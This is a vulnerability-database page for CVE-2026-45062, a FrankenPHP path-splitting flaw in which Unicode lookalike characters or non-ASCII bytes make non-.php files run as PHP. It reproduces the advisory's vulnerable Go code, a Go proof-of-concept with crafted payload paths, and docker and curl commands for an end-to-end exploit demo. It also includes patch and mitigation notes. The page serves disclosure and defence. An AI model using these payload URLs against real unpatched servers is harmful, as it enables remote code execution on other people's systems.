Skip to main content

FrankenPHP CVE-2026-45062

| EUVDEUVD-2026-36075 HIGH
Improper Input Validation (CWE-20)
2026-05-15 https://github.com/php/frankenphp GHSA-3g8v-8r37-cgjm
8.1
CVSS 3.1 · Vendor: https://github.com/php/frankenphp
Share

Severity by source

Vendor (https://github.com/php/frankenphp) PRIMARY
8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/php/frankenphp) · only source for this CVE.

CVSS VectorVendor: https://github.com/php/frankenphp

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 15, 2026 - 17:31 vuln.today
Analysis Generated
May 15, 2026 - 17:31 vuln.today

DescriptionCVE.org

Summary

The splitPos() function in cgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead FrankenPHP into treating a non-.php file as a .php script. In any deployment where the attacker can place content into a file served by FrankenPHP (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This advisory consolidates two independent reports against the same function (the duplicate, GHSA-v4h7-cj44-8fc8, has been closed). Both were reported by @KC1zs4.

Details

go
var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func splitPos(path string, splitPath []string) int {
	if len(splitPath) == 0 {
		return 0
	}
	pathLen := len(path)
	for _, split := range splitPath {
		splitLen := len(split)
		for i := 0; i < pathLen; i++ {
			if path[i] >= utf8.RuneSelf {
				if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
					return end
				}
				break
			}
			if i+splitLen > pathLen {
				continue
			}
			match := true
			for j := 0; j < splitLen; j++ {
				c := path[i+j]
				if c >= utf8.RuneSelf {
					if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
						return end
					}
					break // <-- flaw 1: 'match' is still true
				}
				if 'A' <= c && c <= 'Z' {
					c += 'a' - 'A'
				}
				if c != split[j] {
					match = false
					break
				}
			}
			if match {
				return i + splitLen
			}
		}
	}
	return -1
}
Flaw 1 - Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if .php had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 - Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, .php, .php, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case split entry against an arbitrary path. WithRequestSplitPath already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match - but the fallback ignored that guarantee.

PoC

Standalone reproducer (copy splitPos from cgi.go verbatim, plus the imports):

go
package main

import (
	"fmt"
	"unicode/utf8"

	"golang.org/x/text/language"
	"golang.org/x/text/search"
)

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

// ... splitPos copied verbatim from cgi.go ...

func main() {
	split := []string{".php"}
	payloads := []string{
		// flaw 1
		"/PoC-match-unset.txt",   // expected: -1
		"/PoC-match-unset.¡.txt", // expected: -1, actual: 20

		// flaw 2
		"/shell﹒php",          // ﹒ small full stop
		"/shell.php",          // . fullwidth full stop
		"/shell.php",          // p fullwidth p
		"/shell.php",          // h fullwidth h
		"/shell.ⓟⓗⓟ",                 // ⓟⓗⓟ circled
		"/shell.\U0001D5FD\U0001D5F5\U0001D5FD",     // 𝗽𝗵𝗽 mathematical sans-serif bold
		"/shell.\U0001D4C5\U0001D4BD\U0001D4C5",     // 𝓅𝒽𝓅 mathematical script
		"/shell.ⓟⓗⓟ.anything-after-payload.php",
	}
	for _, p := range payloads {
		fmt.Printf("%-50s : %d\n", p, splitPos(p, split))
	}
}

Run go run poc.go:

text
/PoC-match-unset.txt                               : -1
/PoC-match-unset.¡.txt                             : 20
/shell﹒php                                        : 12
/shell.php                                        : 12
/shell.php                                         : 12
/shell.php                                         : 12
/shell.ⓟⓗⓟ                                          : 16
/shell.𝗽𝗵𝗽                                          : 19
/shell.𝓅𝒽𝓅                                          : 19
/shell.ⓟⓗⓟ.anything-after-payload.php               : 16

Every value other than -1 is a wrong answer: splitPos claims .php was matched at the printed offset, so SCRIPT_FILENAME is set to the corresponding non-PHP file (which PHP then loads and executes).

End-to-end demo

Directory layout:

.
├── Caddyfile
# `:8080 { root * /app/public; php }`
└── public/
    ├── index.php
    ├── poc-match-unset.¡.
# contains <?php echo "marker=flaw1\n"; ?>
    └── poc-search-norm.𝗽𝗵𝗽
# contains <?php echo "marker=flaw2\n"; ?>
bash
docker run --rm -d --name frankenphp-poc \
  -p 18080:8080 \
  -v "$(pwd)/Caddyfile:/etc/frankenphp/Caddyfile:ro" \
  -v "$(pwd)/public:/app/public" \
  dunglas/frankenphp:latest
# baseline (correctly fails to map a .txt or non-php file to PHP)
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm/trigger"
# flaw 1 - runs poc-match-unset.¡. as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-match-unset.%C2%A1.txt/trigger"
# flaw 2 - runs poc-search-norm.𝗽𝗵𝗽 as PHP
curl -i --path-as-is "http://127.0.0.1:18080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

Impact

Comparable in shape to CVE-2026-24895 but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds - common in upload endpoints, user-content stores, package mirrors, etc. - the bypass yields RCE in the FrankenPHP process via a single crafted URL, without authentication, over the network. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - High (8.1).

Patch

Both flaws share a single fix: drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. Split entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path.

Credit

Both flaws were reported by @KC1zs4.

AnalysisAI

Path traversal vulnerability in FrankenPHP allows remote code execution through Unicode handling flaws in CGI path splitting. The splitPos() function in cgi.go incorrectly processes non-ASCII bytes in request paths, allowing attackers to trick FrankenPHP into executing arbitrary non-.php files as PHP scripts by crafting URLs with Unicode lookalike characters or specific non-ASCII byte sequences. Successfully exploited in environments where attackers can upload or control file content, leading to remote code execution with CVSS 8.1 (High).

Technical ContextAI

FrankenPHP is a PHP SAPI written in Go that integrates with web servers like Caddy. The vulnerability lies in the splitPos() function within cgi.go, which determines where to split request paths to identify PHP script names. The function misuses golang.org/x/text/search with search.IgnoreCase for handling non-ASCII bytes, creating two distinct flaws: (1) a control flow error where the 'match' variable remains true after breaking from non-ASCII handling, and (2) Unicode equivalence matching that folds non-ASCII lookalikes (like ﹒, ., p, ⓟ, 𝗽) onto their ASCII equivalents. This is classified as CWE-20 (Improper Input Validation). Affected versions include FrankenPHP 1.11.2 through 1.12.2.

RemediationAI

Upgrade FrankenPHP to version 1.12.3 or later, which removes the vulnerable Unicode handling code entirely. The patch commit 2d0f480329a02571d6f635dad9fdb066e1a11e81 shows the fix drops the golang.org/x/text/search fallback and treats any byte >= utf8.RuneSelf as a non-match. For immediate mitigation before patching, restrict file upload functionality and implement strict filename validation to prevent creation of files with non-ASCII characters in their names. Monitor for requests containing percent-encoded non-ASCII bytes in paths targeting .php extensions. Note that blocking Unicode in filenames may impact internationalization features.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-45062 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy